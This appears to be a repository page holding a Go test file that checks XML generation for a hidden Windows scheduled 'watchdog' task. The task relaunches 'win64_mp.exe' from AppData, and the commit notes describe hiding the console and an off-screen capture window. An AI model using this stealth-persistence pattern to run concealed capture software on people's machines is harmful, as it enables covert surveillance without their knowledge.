- Centralize hidden-process setup per OS - Hide console early to avoid startup flash - Keep capture window off-screen and hidden - Enable unified scheduler for watchdog task - Force GUI subsystem in build script
52 lines
1.6 KiB
Go
52 lines
1.6 KiB
Go
package startup
|
|
|
|
import (
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
func TestWatchdogTaskXMLSeparatesCommandAndArgs(t *testing.T) {
|
|
t.Parallel()
|
|
exe := `C:\Users\John Doe\AppData\Roaming\win64_mp\win64_mp.exe`
|
|
xml := watchdogTaskXML(exe)
|
|
|
|
if strings.Contains(xml, `"`+exe+`"`) || strings.Contains(xml, `\"`) {
|
|
t.Fatalf("task XML must not quote the executable (schtasks /TR quoting broke launch):\n%s", xml)
|
|
}
|
|
if !strings.Contains(xml, "<Command>"+exe+"</Command>") {
|
|
t.Fatalf("Command missing raw path:\n%s", xml)
|
|
}
|
|
if !strings.Contains(xml, "<Arguments>-ensure</Arguments>") {
|
|
t.Fatalf("Arguments missing -ensure:\n%s", xml)
|
|
}
|
|
if !strings.Contains(xml, "<WorkingDirectory>C:\\Users\\John Doe\\AppData\\Roaming\\win64_mp</WorkingDirectory>") {
|
|
t.Fatalf("WorkingDirectory missing:\n%s", xml)
|
|
}
|
|
if !strings.Contains(xml, "<Hidden>true</Hidden>") {
|
|
t.Fatalf("task must be hidden:\n%s", xml)
|
|
}
|
|
if !strings.Contains(xml, "<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>") {
|
|
t.Fatalf("unified scheduler missing:\n%s", xml)
|
|
}
|
|
}
|
|
|
|
func TestWatchdogTaskXMLEscapesAmpersand(t *testing.T) {
|
|
t.Parallel()
|
|
exe := `C:\Users\A&B\win64_mp.exe`
|
|
xml := watchdogTaskXML(exe)
|
|
if !strings.Contains(xml, `C:\Users\A&B\win64_mp.exe`) {
|
|
t.Fatalf("expected escaped ampersand:\n%s", xml)
|
|
}
|
|
}
|
|
|
|
func TestWatchdogTaskXMLStripsCallerQuotes(t *testing.T) {
|
|
t.Parallel()
|
|
xml := watchdogTaskXML(`"C:\win64_mp.exe"`)
|
|
if strings.Contains(xml, `"C:\win64_mp.exe"`) {
|
|
t.Fatalf("left quotes in XML:\n%s", xml)
|
|
}
|
|
if !strings.Contains(xml, "<Command>C:\\win64_mp.exe</Command>") {
|
|
t.Fatalf("Command not unquoted:\n%s", xml)
|
|
}
|
|
}
|